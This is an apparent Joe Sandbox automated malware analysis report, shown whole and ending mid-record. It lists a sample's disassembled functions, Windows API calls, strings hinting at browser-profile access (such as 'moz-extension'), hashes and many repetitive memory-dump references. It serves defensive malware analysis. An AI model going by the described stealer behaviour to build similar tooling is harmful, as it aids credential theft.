Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: H_prolog3_catchlstrlen
String ID: ERROR
API String ID: 591506033-2861137601
Opcode ID: 3728be980596e35ca54fb565131b053cca37455af65dd6d5388067074e653bc5
Instruction ID: f6e58e0c624a645363802a72116ae7eb1944a523f9600c356df9d941bad7e4d7
Opcode Fuzzy Hash: 3728be980596e35ca54fb565131b053cca37455af65dd6d5388067074e653bc5
Instruction Fuzzy Hash: 0E114C7280050A9FCB50FB74ED066ADBBB4BF04310B904525EA14B7162EB39AA25EFC0

Function 6CD64FC2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,6CD64F73,00000000,?,00000001,?,?,?,6CD65062,00000001,FlsFree,6CDAE690,FlsFree), ref: 6CD64FCF
GetLastError.KERNEL32(?,6CD64F73,00000000,?,00000001,?,?,?,6CD65062,00000001,FlsFree,6CDAE690,FlsFree,00000000,?,6CD63F04), ref: 6CD64FD9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 6CD65001

Strings

api-ms-, xrefs: 6CD64FE6

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 1914f65c652693fcea41d3884fe2a9ac7d949893b2ae8052832d80b749b9914f
Instruction ID: d110400f108e1a9f2e4518271c13ed89a2ae103c7ea1bdd4372e332c000e31f5
Opcode Fuzzy Hash: 1914f65c652693fcea41d3884fe2a9ac7d949893b2ae8052832d80b749b9914f
Instruction Fuzzy Hash: C7E01A30744248B7FF112FA2DD09B893E69AB01B84F244A20FA4EE8CA1E771E955D6D4

Function 00FF1F84 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00FF26D3,?), ref: 00FF1F8F
HeapAlloc.KERNEL32(00000000), ref: 00FF1F96
wsprintfW.USER32 ref: 00FF1FA7

Strings

%hs, xrefs: 00FF1FA1

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: 973e3cc5bb13119cd32e4a2b0e4b035d26708dd17176d3b243469c9e4f78866d
Instruction ID: 2b5e5bbf5e211007085b7ffe43836e3351fe219c55efb663ae8f46636f44eeca
Opcode Fuzzy Hash: 973e3cc5bb13119cd32e4a2b0e4b035d26708dd17176d3b243469c9e4f78866d
Instruction Fuzzy Hash: 12D0A7313402167BC6316BD5BC0EF9A3F5CDB05BA2F000020FF4DD9144C96A541057D5

Function 6CD6A8A2 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(9F8E84B1,00000000,00000000,?), ref: 6CD6A905

Part of subcall function 6CD682D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6CD6A340,?,00000000,-00000008), ref: 6CD68332

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6CD6AB57
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6CD6AB9D
GetLastError.KERNEL32 ref: 6CD6AC40

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: f3948bb81c82466bea6af4fbf8a430c950d13771ca660d8c6b4ba9fb1b757418
Instruction ID: 2ee8d9d0f4754bc0da77bd848fe23a82e992c121d520733b30bfea415e7bf164
Opcode Fuzzy Hash: f3948bb81c82466bea6af4fbf8a430c950d13771ca660d8c6b4ba9fb1b757418
Instruction Fuzzy Hash: 31D19DB5D01259DFCB05CFA9C8809EDBBB5EF09304F24412AE56AEBB51D730A945CB60

Function 00FEB15B Relevance: 6.2, APIs: 4, Instructions: 222filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Part of subcall function 00FF1E6D: GetSystemTime.KERNEL32(?,010157AE,?), ref: 00FF1E9C

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF07EA: lstrcpyA.KERNEL32(00000000,?,0000000C,00FF74CC,010157A7), ref: 00FF0818
Part of subcall function 00FF07EA: lstrcatA.KERNEL32(?,?), ref: 00FF0822

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

CopyFileA.KERNEL32(?,?,00000001), ref: 00FEB200
lstrlenA.KERNEL32(?), ref: 00FEB3B6
lstrlenA.KERNEL32(?), ref: 00FEB3D1
DeleteFileA.KERNEL32(?), ref: 00FEB423

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 83cf8b0a4f45b14328dd40a6f52970e1c5e22b0bf7adf70b41a9cf27d9cc5706
Instruction ID: 246c50c74c87438f3b0dff39239ddf5e03cb1e2336df878996916ac360193d2b
Opcode Fuzzy Hash: 83cf8b0a4f45b14328dd40a6f52970e1c5e22b0bf7adf70b41a9cf27d9cc5706
Instruction Fuzzy Hash: C781A53290015D9BCF40FBB6ED469EEB775AF04301F614421FA00B7167DBA9BE06AB91

Function 00FEB46C Relevance: 6.2, APIs: 4, Instructions: 196filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Part of subcall function 00FF1E6D: GetSystemTime.KERNEL32(?,010157AE,?), ref: 00FF1E9C

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF07EA: lstrcpyA.KERNEL32(00000000,?,0000000C,00FF74CC,010157A7), ref: 00FF0818
Part of subcall function 00FF07EA: lstrcatA.KERNEL32(?,?), ref: 00FF0822

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

CopyFileA.KERNEL32(?,?,00000001), ref: 00FEB511
lstrlenA.KERNEL32(?), ref: 00FEB663
lstrlenA.KERNEL32(?), ref: 00FEB67E
DeleteFileA.KERNEL32(?), ref: 00FEB6D0

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: e140e7ceb40b091bb59ad58644843db6c4ff65c5619e323e1c2a6cbc880e037c
Instruction ID: df9b60b906e37b6886d3575d751311801eba5bd55688adf71ae50c38f3f27319
Opcode Fuzzy Hash: e140e7ceb40b091bb59ad58644843db6c4ff65c5619e323e1c2a6cbc880e037c
Instruction Fuzzy Hash: 0871D83290015D9BCF40FBB6ED469EEB775AF04301F514421FA00B7166EBB9BE06AB91

Function 6CD63F0F Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6CD63FD6
___AdjustPointer.LIBCMT ref: 6CD63FF9
___AdjustPointer.LIBCMT ref: 6CD64095

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 1b2c967479369c5e3501ea2e6e8b3dd3746eaf2dccc3ba3d1688b424ba5a80d3
Instruction ID: 79da5024ecd63b07e54d6973caccfa22e25411be30f0a4043c73e27f76d2ab2d
Opcode Fuzzy Hash: 1b2c967479369c5e3501ea2e6e8b3dd3746eaf2dccc3ba3d1688b424ba5a80d3
Instruction Fuzzy Hash: 0B51E476606612EFEB15CF56D860BAA77B4FF01319F20452DE89547EB0D731E884CBA0

Function 00FED5C2 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 125stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF073C: lstrcpyA.KERNEL32(00000000,?,?,00FE1CF7,?,00FF7504), ref: 00FF075B

Part of subcall function 00FE85FA: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8615
Part of subcall function 00FE85FA: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE862C
Part of subcall function 00FE85FA: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8643
Part of subcall function 00FE85FA: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,00FEE90A,?,?,?), ref: 00FE865A
Part of subcall function 00FE85FA: CloseHandle.KERNEL32(?,?,?,?,?,00FEE90A,?,?,?), ref: 00FE8682

Part of subcall function 00FF2042: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00FF6B0E,?), ref: 00FF205A

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

Part of subcall function 00FF07EA: lstrcpyA.KERNEL32(00000000,?,0000000C,00FF74CC,010157A7), ref: 00FF0818
Part of subcall function 00FF07EA: lstrcatA.KERNEL32(?,?), ref: 00FF0822

StrStrA.SHLWAPI(00000000,?,0101656C,010158CE), ref: 00FED653
lstrlenA.KERNEL32(?), ref: 00FED666

Strings

^userContextId=4294967295, xrefs: 00FED68B
moz-extension+++, xrefs: 00FED691

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcpy$File$AllocLocallstrcatlstrlen$CloseCreateHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 161838763-3310892237
Opcode ID: cf9053e6b571e5468a18630d01a10e2d0702e7dfb669108a1b8ce39785f1210f
Instruction ID: 16aa5e1e796fd27d3ab7a99a9f152d5e1f7ddc4d49932c37e507249e74c9ce7c
Opcode Fuzzy Hash: cf9053e6b571e5468a18630d01a10e2d0702e7dfb669108a1b8ce39785f1210f
Instruction Fuzzy Hash: 2B41C93290015D9BCF50FBA6DD429DD77B4AF04300F420561FE44B7227EAA9BE09ABD1

Function 00FFB802 Relevance: 6.1, APIs: 4, Instructions: 91fileCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00FFB847
_memmove.LIBCMT ref: 00FFB85B
_memmove.LIBCMT ref: 00FFB8A8
WriteFile.KERNEL32(?,?,?,?,00000000,?,?,00000001,?,?,00FFA8ED,?,00000001,?,?,?), ref: 00FFB8C7

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: _memmove$FileWritemalloc
String ID:
API String ID: 803809635-0
Opcode ID: d280c6cf271d25060523b50f4a8100c1cc565ee31679610683562c24361fa0eb
Instruction ID: f84e8e9bb39829a0703695c7a1ee737757faaab935820a9da098530ad69fb8b0
Opcode Fuzzy Hash: d280c6cf271d25060523b50f4a8100c1cc565ee31679610683562c24361fa0eb
Instruction Fuzzy Hash: 56319E72A00708AFD721CF65C980AA6B7FCFF88750F44852EEA8687A10DB70F905DB50

Function 00FF2682 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FF26A9

Part of subcall function 00FF1F84: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00FF26D3,?), ref: 00FF1F8F
Part of subcall function 00FF1F84: HeapAlloc.KERNEL32(00000000), ref: 00FF1F96
Part of subcall function 00FF1F84: wsprintfW.USER32 ref: 00FF1FA7

OpenProcess.KERNEL32(00001001,00000000,?,00000000,?), ref: 00FF274F
TerminateProcess.KERNEL32(00000000,00000000), ref: 00FF275D
CloseHandle.KERNEL32(00000000), ref: 00FF2764

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminate_memsetwsprintf
String ID:
API String ID: 2224742867-0
Opcode ID: 105fdb600345f38635ca51b725dd8887c2eb5e4870ed4c85209326b81466581c
Instruction ID: cba5009fe166d5feb5fd5f56c4604b3aa6a482f2d514db0cd082f2a11fea9d6b
